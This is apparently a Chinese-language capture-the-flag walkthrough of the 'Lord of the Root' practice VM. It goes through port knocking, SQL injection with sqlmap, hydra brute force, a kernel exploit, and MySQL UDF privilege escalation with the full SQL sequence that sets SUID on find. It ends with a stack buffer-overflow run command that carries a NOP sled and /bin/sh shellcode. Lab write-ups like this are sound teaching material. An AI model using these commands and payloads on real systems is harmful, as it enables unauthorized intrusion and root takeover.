渗透测试靶机----Lord of the root
开启靶机,还是登录页面,平平无奇
kali启动nmap扫描
扫除目标靶机的ip地址,继续
这里只开启了22端口,有些奇怪
先尝试登录ssh吧,看看有什么信息
可以尝试,但是这里出现了提示,easy as 1,2,3
-
知识点:
- 端口碰撞:
- 端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
- 端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
- 由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
- 如何碰撞?首先要知道端口碰撞的序列,否则暴力碰撞开启的机会太小。
这里有两种方法
- 一种是:knock 命令
- linux安装:sudo apt install knockd
- knock 192.168.217.148 1 2 3 -v
- 另一种是:hping3:TCP/IP数据包组装/分析工具
- 这里执行完成后,就继续来一波端口扫描,看看端口开放的变化
- 这里看到出现了一个1337端口,没有别的信息,那么尝试用1337
- 端口在浏览器访问
- 查看源码,查看图片,均无信息,那么说明这个页面只是一个单纯的首页而已,通过目录爆破也没看到有用的信息,但是在访问敏感目录的时候出现了robot.txt文件信息
得到一串密文,查看密文加密方式
- 这里直接自动识别为base64解码,并且返回了一串新的base编码,继续解码
获得到未知路径,直接尝试访问
获取到一个登录框,这里思路就是要么sql注入了,要么直接暴力破解来登录进去
这里就直接sqlmap跑一遍
这里也是直接跑成功了,那么就是爆数据库了
现在得到了账号密码,那就是爆破了,直接上hydra
- 直接爆出了账户密码信息,就能登录了
这里还有另一种办法,简单介绍:
若有用户名和密码字典的话,使用auxiliary/scanner/ssh/ssh_login模块
这里设置好相应的参数,直接run,就能获取一个shell,这个就是登录成功的shell
内核提权:
- 这里发现了版本14.04,直接搜索相关exp
- 果然存在
- 之后就是.c文件流程了
- 这里上传到靶机,直接编译,运行
- 成功提权,并且查找到了对应的flag
UDF提权:
另一种办法:
这里直接查看立式安装包的版本,5.5.44
继续查看登录信息,发现账号密码
这里知道了账户密码,直接登录mysql
判断写入条件,关乎是否能够进行提权
- 果然,这里可以提权
- 这里查看插件库的信息,找了地址
- 这里还查看了能否远程登录,不行,只允许本地登录
知识点:
MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。
- MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G- 可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
由于已经知道了可以使用mysql udf提权,那么就要将kali本地文件上传到靶机中,这里直接上传到/tmp目录中
这里就直接上手:
use mysql
create table anger(anger longblob);
insert into anger values (load_file('/tmp/anger.so'));
select * from anger into dumpfile '/usr/lib/mysql/plugin/anger.so';
create function sys_exec returns string soname 'anger.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
这里直接就获得到了root权限,提权也成功了
又一个新的提权方法:(缓冲区溢出)
- 先查看这里的文件字节大小:
- 也可以直接使用
file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file
来比较文件的哈希值 - 这里发现这三个同名文件的文件大小每过几分钟就会出现不同,这是一种防护机制,叫做ASLR
cat /proc/sys/kernel/randomize_va_space
来查看ASLR设置
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!!!其实就算关闭了ASLR,在root权限下还执行了计划任务switcher.py每三分钟变换一次值,还会打乱缓冲区溢出的“ buf”文件,因此让缓冲区溢出难度加大!
-
绕过ASLR的一种方法是通过编写一个自动循环脚本来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来!
-
这样就可以直接在kali 中分析这个文件
知识点:
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。
-
这里locate pattern_会发现两个专门用作缓冲区溢出查找偏移量的脚本
-
这里生成1000位的值
-
这里通过
gdb file
查看,run一下刚才跑出来的1000位的值,就能发现查看到错误点在41376641 -
直接查到这里的偏移量是在171处
-
接下来使用Nop空间测试ESP:
run $(python -c ‘print “A” * 171 + “B” * 4 + “\x90” * 2000’)
x/s $esp
- 接下来就是要爆破
shellcode:
这里直接执行:
peda help shellcode –-- 关于 shellcode 的帮助
shellcode search exec –-- 如何使用 'exec' 搜索所有 shellcode
shellcode display 841 –-- 显示找到的代码的来源
这里使用的是841
直接生成代码,然后查看当前文件是否存在安全措施
之后直接执行:run $(python -c 'print ("A" * 171 + "\xd0\x32\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")')
这里等待一会儿就会返回一个shell